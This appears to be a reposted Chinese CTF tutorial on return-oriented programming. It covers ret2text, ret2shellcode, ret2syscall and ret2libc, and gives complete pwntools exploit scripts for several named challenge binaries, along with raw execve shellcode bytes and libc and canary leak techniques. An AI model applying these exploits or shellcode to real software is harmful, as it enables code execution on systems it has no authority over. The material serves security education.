ROP
随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在**栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。**所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件
- 程序存在溢出,并且可以控制返回地址。
- 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
下面介绍几种基本的ROP链的构造思路
ret2text
ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。
这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
例子:攻防世界-pwnstack
第一步还是checksec查看保护机制
64位程序,只开启了NX保护(栈不可执行),拖入IDA查看代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
initsetbuf(*(_QWORD *)&argc, argv, envp);
puts("this is pwn1,can you do that??");
vuln();
return 0;
}
__int64 vuln()
{
char buf; // [rsp+0h] [rbp-A0h]
memset(&buf, 0, 0xA0uLL);
read(0, &buf, 0xB1uLL);
return 0LL;
}
在vuln()函数中buf只有0xA0字节的长度,但是read()函数允许输入0xB1字节的数据导致栈溢出漏洞。[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ARa0mKb4-1675325672844)(PWNrop/1673631303820.png)] 在这里发现了一个后门函数。
int backdoor()
{
return system("/bin/sh");
}
这个后门函数调用了system(“/bin/sh”)函数,所以我们的大致思路就是利用栈溢出漏洞把返回地址修改成backdoor()函数来get shell
exploit
from pwn import *
context.log_level="debug"
p = process("./pwn2")
payload = b"a"*0xa0+b"b"*0x8+p64(0x400766)
#gdb.attach(p)
p.recvuntil("this is pwn1,can you do that??\n")
p.sendline(payload)
p.interactive()
分析
这里需要注意一个问题
从IDA中可以看到backdoor()函数的起始地址是0x400762,而我们的exploit中修改的返回地址并不是0x400762而是0x400766。
原因如下:我们通过GDB调试的过程中可以看到正常的程序在返回时他的返回地址是这样的
在vuln()函数即将结束返回时栈中保存返回地址的位置的内容是0x40079a
即main函数在结束对函数vuln()的调用时下一步要执行的指令如果我们把返回地址修改成0x400762程序在接下来执行的指令变成了
和上图对比一下不难发现问题,在main函数中进行了两次**push rbp;mov rbp,rsp;**这会导致栈的结构遭到破坏所以返回地址要修改成0x400766。
注意: 我曾经一直以为如果返回地址修改成0x400762的话和main调用backdoor()函数没什么区别,显然这是个非常错误的想法。因为程序正常调用一个函数,比如main函数调用vuln()函数时是通过call指令来调用的,call指令的作用是:①将当前的IP或CS和IP压入栈中;②转移。 而想通过修改返回地址来使程序去调用backdoor()函数明显缺少了call指令的这一步骤,这样一来栈的结构就发生了异常程序会报错无法得到我们想要的效果。
ret2shellcode
ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。
在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。
例子:CTF-Wiki ret2shellcode
使用checksec查看保护机制,我这个版本的checksec无法查看程序是32位还是64位,所以再使用file命令查看一下发现是32位。
拖入IDA反汇编一下
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets((char *)&v4); //这里v4是int类型,(char *)&v4是指把v4强制转换
strncpy(buf2, (const char *)&v4, 0x64u); //成char类型指针
printf("bye bye ~");
return 0;
}
第八行gets()函数没有对输入长度进行限制存在栈溢出漏洞,第九行代码把输入的数据又复制给了buf2
buf2是在bss段上的一段内存地址为0x804a080。由于程序中没有可以利用的后门函数且存在一个已知地址的内存区域,可以考虑在buf2中写入shellcode将程序流程劫持到这里执行我们布置的shellcode,但是还有一个重要的条件就是这段内存必须有可执行权限。通过gdb的vmmap指令可以查看程序各个段的权限
可以看到buf2所在的区域有rwx权限,所以这个题的大致思路就是向v4写入shellcode同时将数据溢出把返回地址修改成0x804a080,同时程序本身把我们输入的数据复制到了0x804a080即buf2的位置。这样程序就可以被我们劫持到这个位置来执行shellcode。
exploit
from pwn import *
# context.log_level="debug"
p = process("./ret2shellcode")
shellcode = asm(shellcraft.sh())
buf2 = 0x804a080
payload = shellcode.ljust(112,b'a') + p32(buf2)
log.info(shellcraft.sh())
p.recvuntil("No system for you this time !!!\n")
p.sendline(payload)
p.interactive()
注意:这道题我在Ubuntu16的环境上做的,如果是其他环境可能0x804a080处可能没有可执行权限
例二:ctf-challenge sniperoj-pwn100-shellcode-x86-64
checksec查看保护机制
64位程序没有NX保护但开启了PIE,开启了PIE我们只在IDA中看到函数的偏移地址没法看到具体的地址
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf; // [rsp+0h] [rbp-10h]
__int64 v5; // [rsp+8h] [rbp-8h]
buf = 0LL;
v5 = 0LL;
setvbuf(_bss_start, 0LL, 1, 0LL);
puts("Welcome to Sniperoj!");
printf("Do your kown what is it : [%p] ?\n", &buf, 0LL, 0LL);
puts("Now give me your answer : ");
read(0, &buf, 0x40uLL);
return 0;
}
程序中的printf()函数输出了buf的地址所以可以绕过PIE保护,read()允许输入的数据过长导致栈溢出
栈上有rwx权限而我们的局部变量buf就是在栈上的,所以这个题依然可以使用ret2shellcode
exploit
from pwn import *
context.log_level="debug"
p = process("./shellcode")
p.recvuntil("Do your kown what is it : [")
buf = p.recvuntil("]",drop=True)
buf = int(buf,16)
print("buf = ",buf)
# payload1 = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" + b'\x00' + p64(buf)
# payload2 = b'a'*24 + p64(buf + 32) + b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = b'a'*24 + p64(buf + 32) + b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
p.recvuntil("Now give me your answer : \n")
raw_input("PAUSE")
p.sendline(payload)
p.interactive()
注意:这个题有几个细节需要处理。
- 如何接收程序输出的地址:第七行的recvuntil()函数把地址前面的内容全部接收,第八行的作用是继续接收剩下的内容一直到 “ ] ” 这个位置并且接收后去掉 “ ] ” ,drop这个参数如果不写默认是不去掉第一个参数的内容的,这样就完整的接收了程序输出的地址(64位程序地址长度为8 byte)
- 这个题中read()函数允许输入0x40字节的长度,我们覆盖到ebp需要0x10+0x8=0x18 即24字节的长度,这样我们就只剩下0x40-0x18=0x28即40字节的长度可以输入,但是我们用shellcraft.sh()生成的shellcode有44字节的长度,所以我们需要一个相对较短的shellcode,可以在Exploit Database Shellcodes (exploit-db.com)查找合适的shellcode
- exploit脚本中的payload1和payload2的shellcode是能拿到shell的但是同样的shellcode,payload1的写法是错误的,事实上payload1的写法是ret2shellcode中最基本的构造格式但在这个题目中,shellcode的长度为23字节,我们需要充的长度只有24字节,这回导致ret指令执行后shellcode距离rsp过近。如下图:
左边是shellcode的汇编代码,右边是ret执行过后rsp所在的位置,shellcode中有三个push指令,当三次push之后shellcode的下半部分会被其他数据覆盖掉导致无法继续往下执行,所以这道题中的payload要按照payload2中的格式构造。payload2中还要重新计算shellcode的地址根据构造的顺序可以看出shellcode的首地址应该是buf+0x10+0x8+0x8=0x20即buf+32
我使用两种不同的shellcode长度有所差异,以后有用到shellcode的地方可以尝试这两种
shellcode1 = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" # 23 byte
shellcode2 = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" # 22 byte
ret2syscall
ret2syscall,即控制程序执行系统调用,获取 shell。
系统调用
操作系统的主要功能是为管理硬件资源和为应用程序开发人员提供良好的环境来使应用程序具有更好的兼容性,由于系统的有限资源可能被多个不同的应用程序访问,因此,如果不加以保护,那么用程序难免产生冲突。所以,现代操作系统都将可能产生冲突的系统资源给保护起来,阻止应用程序直接访问。这些系统资源包括文件、网络、IO、各种设备等。为了达到这个目的,内核提供一系列具备预定功能的多内核函数,通过一组称为系统调用(system call)的接口呈现给用户。系统调用把应用程序的请求传给内核,调用相应的内核函数完成所需的处理,将处理结果返回给应用程序。这些接口往往通过中断来实现。
系统调用的原理
现代操作系统通常让代码运行在两种不同特权的模式下用户态(目态)和内核态(管态)以限制他们的权力。系统调用要操作一些有限的资源,无疑是运行在内核态的。那么用户态程序如何运行内核态的代码呢?操作系统一般是通过中断来从用户态切换到内核态。
中断
中断是指一个硬件或软件发出的请求(电信号),要求CPU暂停当前的工作转手去处理更加重要的事情。
中断一般有两个属性,中断号和中断处理程序(ISR,Interrupt Service Routine)。在内核中,有一个数组称为中断向量表,包含了中断号及其对应中断处理程序的指针。中断到来时,CPU暂停当前执行的代码,根据中断的中断号,在中断向量表中找到对应的中断处理程序,并调用它。中断处理程序执行完成之后,CPU会继续执行之前的代码。
中断有两种类型:一种称为硬件中断,这种中断来自于硬件的异常或事件发生;另一种称为软件中断,软件中断通常是一条指令(i386下是int),带有一个参数记录中断号,使用这条指令用户可以手动触发某个中断并执行中断处理程序。
中断向量
Intel x86 系列微机共支持256 种向量中断,为使处理器较容易地识别每种中断源,将它们从0~255 编号,即赋予一个中断类型码 n,Intel 把这个8 位的无符号整数叫做一个向量,因此,也叫中断向量。
所有256 种中断可分为两大类:异常和中断。
异常又分为故障(Fault)、陷阱(Trap)和夭折(Abort),它们的共同特点是既不使用中断控制器,又不能被屏蔽。
中断又分为外部可屏蔽中断(INTR)和外部非屏蔽中断(NMI),所有I/O 设备产生的中断请求(IRQ)均引起屏蔽中断,而紧急的事件(如硬件故障)引起的故障产生非屏蔽中断。
非屏蔽中断的向量和异常的向量是固定的,而屏蔽中断的向量可以通过对中断控制器的编程来改变。Linux 对256 个向量的分配如下。
• 从0~31 的向量对应于异常和非屏蔽中断。
• 从32~47 的向量(即由I/O 设备引起的中断)分配给屏蔽中断。
• 剩余的从48~255 的向量用来标识软中断。
Linux 只用了其中的一个(即128 或0x80向量)用来实现系统调用。
当用户态下的进程执行一条int 0x80 汇编指令时,CPU 就切换到内核态,并开始执行system_call() 内核函数。
由于中断号是有限的,操作系统不舍得每一个系统调用对应一个中断号,而更倾向于用一个或少数几个中断号来对应所有的系统调用。每个系统调用对应一份系统调用号,这个系统调用号在执行int 0x80指令前会放置在某个固定的寄存器里(在Linux中eax寄存器是负责传递系统调用号的),对应的中断代码会取得这个系统调用号,并且调用正确的函数。
系统调用的过程
操作系统实现系统调用的基本过程是:
-
应用程序调用库函数(API);
-
API 将系统调用号存入 eax,然后通过中断调用使系统进入内核态;
-
内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
-
系统调用完成相应功能,将返回值存入 eax,返回到中断处理函数;
-
中断处理函数返回到 API 中;
-
API 将 eax 返回给应用程序。
应用程序调用系统调用的过程是:
- 把系统调用的编号存入 eax;
- 把函数参数存入其它通用寄存器(对于参数传递,Linux也是通过寄存器完成的。Linux最多允许向系统调用传递6个参数,分别依次由ebx,ecx,edx,esi,edi和ebp这个6个寄存器完成);
- 触发 0x80 号中断(int 0x80)。
例子:CTF-Wiki bamboofox-ret2syscall
第一步checksec查看保护机制
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vP5S8QBO-1675325672854)(PWNrop/1673886012640.png)]
32位程序拖入IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
这个程序里只有一个栈溢出漏洞,没有后门函数没有system()函数的调用,而且开启了NX保护且程序中也没有像上一题一样存在一个已知地址拥有rwx权限的内存区域没有办法使用ret2shelcode的办法来get shell,这个时候我们可以考虑 ret2syscall的办法触发系统调用。而想要触发系统调用我们就要控制eax,ebx,ecx,edx,esi,edi,ebp这几个寄存器。这里如果我们想get shell就要用到**execve()**这个系统调用,系统调用号为11(0xb)。**execve() 系统调用的作用是运行另外一个指定的程序。**它会把新程序加载到当前进程的内存空间内,当前的进程会被丢弃,它的堆、栈和所有的段数据都会被新进程相应的部分代替,然后会从新程序的初始化代码和 main 函数开始运行。同时,进程的 ID 将保持不变。execve() 系统调用通常与 fork() 系统调用配合使用。从一个进程中启动另一个程序时,通常是先 fork() 一个子进程,然后在子进程中使用 execve() 变身为运行指定程序的进程。 例如,当用户在 Shell 下输入一条命令启动指定程序时,Shell 就是先 fork() 了自身进程,然后在子进程中使用 execve() 来运行指定的程序。
execve()的函数原型是
int execve(const char *filename, char *const argv[], char *const envp[]);
后面两个参数用不到我们可以置为0,第一参数我们要传入/bin/sh来get shell。而要想控制寄存器和查找字符串可以使用ROPgadget这个命令来在程序中寻找控制我们想要的寄存器的汇编指令。
寻找eax
选择第二个0x80bb196
寻找ebx
选择0x806eb90,这样一段指令就能让我们控制ebx,ecx,edx三个寄存器
还需要/bin/sh字符串(有的时候只用sh字符串也行)
最后还有最最重要的int 0x80指令触发0x80号中断
接下来的大致思路就是通过栈溢出漏洞改写返回地址只不过这次我们并不返回到函数地址上而是返回我们控制寄存器的指令的地址上再触发中断之前我们先要在eax中保存系统调用号(由于我们需要execve()系统调用所以我们需要存入0xb)然后给系统调用传入参数,第一参数在ebx(0x80be408:/bin/sh),第二个参数在ecx(0),第三个参数在edx(0)。如果需要更多则以此类推。最后执行int 0x80来触发中断。
exploit
from pwn import *
context.log_level="debug"
p = process("./rop")
pop_eax = 0x080bb196
pop_ebx_ecx_edx = 0x0806eb90
bin_sh = 0x80BE408
int_0x80 = 0x08049421
payload = b'a'*112 + p32(pop_eax) + p32(0xb) + p32(pop_ebx_ecx_edx) + p32(0) + p32(0) + p32(bin_sh) + p32(int_0x80)
p.recvuntil("What do you plan to do?\n")
p.sendline(payload)
p.interactive()
这里要注意这三个寄存器的顺序,粗(jiu)心(shi)的(wo)师(ben)傅(ren)可能搞错顺序导致出不来结果。
分析
我们用GDB来看一下payload发送过去之后栈中的情况以及程序的执行过程
此时gets()函数已经返回到它执行完毕后该返回的位置了 由于我们写入的变量v4是在main函数中声明的,所以我们修改的其实是main函数的返回地址。红框里的这几个指令就是我们布置好用来控制寄存器的指令而且他的顺序也和我们预想的一样。查看一下此时的栈
ebp指向的地址是0xff8b6e08,ebp再往高处走紧接着的就是保存返回地址的位置即0xff8b6e0c。上图中可以看到这个位置保存的就是pop eax的地址。从这里开始就是我们payload中的关键部分p32(pop_eax) + p32(0xb) + p32(pop_ebx_ecx_edx) + p32(0) + p32(0) + p32(bin_sh) + p32(int_0x80)继续往下执行
leave;ret;(这两条指令的作用上篇文章有提到)执行完毕以后rip指向了pop eax;esp则指向0xb的位置这个值是我们想要传递给eax的系统调用号指向玩pop eax后下一条ret指令相当于pop rip这样rip又指向了0x6eb90这个位置即控制edx,ecx,ebx三个寄存器的三条指令还有ret。
可以看到三次pop指令都把我们想要传递的参数传到了我们想要的寄存器中,所以payload中的p32(pop_eax) + p32(0xb) + p32(pop_ebx_ecx_edx) + p32(0) + p32(0) + p32(bin_sh) + p32(int_0x80)这一部分的顺序就是按照数据在栈上的位置以及指令对栈的操作而设计的。
此时esp指向了我们在栈中写入的int 0x80指令的地址,下一步执行ret后rip指向int 0x80程序触发中断
ret2libc
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。
延迟绑定机制(Lazy Binding)
关于延迟绑定机制推荐一个[师傅写的文章](Pwn基础:PLT&GOT表以及延迟绑定机制 (qq.com))。
师傅的B站视频
例一:CTF-Wiki ret2libc1
checksec查看保护机制
32位程序只开了NX保护,拖入IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(&s);
return 0;
}
gets()函数这里没有对输入进行限制存在栈溢出漏洞,但是在看IDA中还能看到plt中有system()函数,这样我们可以让程序返回到system@plt这里如果你仔细看了前面介绍延迟绑定机制的文章你就会很容易明白这样操作的原理。但是我们想要get shell还需要给system()一个/bin/sh的参数,可以在IDA中使用shift+F12来查找程序中的字符串,或者使用ROPgadget命令。
exploit
from pwn import *
context.log_level="debug"
p = process("./ret2libc1")
bin_sh = 0x8048720
system_plt = 0x8048460
payload = b'a'*108 + b'bbbb' + p32(system_plt) +b'bbbb' + p32(bin_sh)
# raw_input("PAUSE")
p.recvuntil("RET2LIBC >_<\n")
p.sendline(payload)
p.interactive()
例二:CTF-Wiki ret2libc2
checksec查看保护机制
同样32位程序只开了NX保护,拖入IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(&s);
return 0;
}
同样也是在gets()函数触发栈溢出,我们也能在.plt中找到system()但是这次并不能找到/bin/sh这个字符串来作为参数get shell[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BmphrN9e-1675325672872)(PWNrop/1675235686737.png)]
其实这个时候我们可以尝试使用ROPgadget只查找“sh”,有的时候sh字符串作为参数传入system()也能get shell
但是这个题不行,它会报这样的错误:
既然没有/bin/sh字符串,那么我们就自己写进去一个
这个程序中有这样一个已知地址的字符型数组且有rw权限,刚好可以用来存我们输入的字符串
这里在写exploit的时候有两个思路
exploit1
from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = b'a'*112+ p32(gets_plt)+ p32(pop_ebx)+ p32(buf2)+ p32(system_plt)+ b"bbbb"+ p32(buf2)
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
这个利用方法是和CTF-Wiki上的思路一致的调用gets()函数往buf2上写入/bin/sh但是写入的buf2的地址也会留在栈上所以这里用到了一个pop ebx先把栈上的buf2的地址出栈给一个空闲的寄存器ebx使得ret指令能把system_plt的地址正确的pop 给eip(ret指令相当于pop eip)这就是栈平衡问题。
exploit2
from pwn import *
context(os="linux",arch="i386",log_level="debug")
p = process("./ret2libc2")
buf2 = 0x804a080
gets_plt = 0x8048460
system_plt = 0x8048490
_main_add = 0x8048648
payload = b'a'*112 + p32(gets_plt) + p32(_main_add) + p32(buf2)
payload1 = b'a'*104 + p32(system_plt) + b'bbbb' + p32(buf2)
raw_input(">>>")
p.recvuntil("What do you think ?")
p.sendline(payload)
p.sendline("/bin/sh")
p.recvuntil("What do you think ?")
p.sendline(payload1)
p.interactive()
这个思路是先调用gets()函数往buf2中输入/bin/sh但是我们把gets函数的返回地址写成了main这样程序再一次从main函数执行,触发第二次栈溢出,第二次栈溢出我们再把返回地址改成system_plt这样来get shell。但是要注意第二次payload的长度
例三:CTF-Wiki ret2libc3
checksec查看保护机制
同样32位程序只开了NX保护,拖入IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(&s);
return 0;
}
同样也是在gets()函数触发栈溢出,但是这一次没有了system.plt,也没有/bin/sh字符串。那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点
- system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
- 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
- https://github.com/niklasb/libc-database
所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。
那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme
- https://github.com/lieanu/LibcSearcher
或者通过在线查询网站libc database search (blukat.me)
此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。
这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下
- 泄露 __libc_start_main 地址
- 获取 libc 版本
- 获取 system 地址与 /bin/sh 的地址
- 再次执行源程序
- 触发栈溢出执行 system(‘/bin/sh’)
基地址=真实地址-偏移地址
exploit
from pwn import *
from LibcSearcher import *
context(os="linux",arch="i386",log_level="debug")
io = process("./ret2libc3")
elf = ELF("./ret2libc3")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
payload = b'a'*112 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
io.recvuntil("Can you find it !?")
io.sendline(payload)
puts_addr = u32(io.recv(4))
print("puts_addr = ",hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump("puts")
system_addr = libcbase + libc.dump("system")
binsh_addr = libcbase + libc.dump("str_bin_sh")
payload = b'a'*112 + p32(system_addr) + b'bbbb' + p32(binsh_addr)
io.sendline(payload)
io.interactive()
细节问题
接收泄露的函数地址时可采用以下方法接收,因为函数在libc中的地址大多以7f开头
addr = u32(io.recvuntil('\x7f')[-4:])
addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
#或者
addr = u64(io.recv(6).ljust(8,b'\x00'))
64位程序下,在接收利用格式化字符串泄露canary的值时可采用一下方法
p.sendline("%Index$p") #泄漏cannary Index为canary相对于格式化字符串的参数位置
p.recvuntil("0x")
canary = int(p.recv(16),16) #接收16个字节
如果是利用垃圾数据覆盖掉canary末尾的\x00截断符则注意在接受时要把末尾覆盖掉的\x00补回去
canary = u64(io.recv(7).rjust(8,b'\x00'))
需要注意的是,32 位和 64 位程序有以下简单的区别:文章来源:https://www.toymoban.com/news/detail-492669.html
- x86
- 函数参数在函数返回地址的上方
- x64
- System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
- 内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。
更多内容欢迎访问我的个人博客文章来源地址https://www.toymoban.com/news/detail-492669.html
到了这里,关于PWN基础之构造ROP链(基本ROP)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!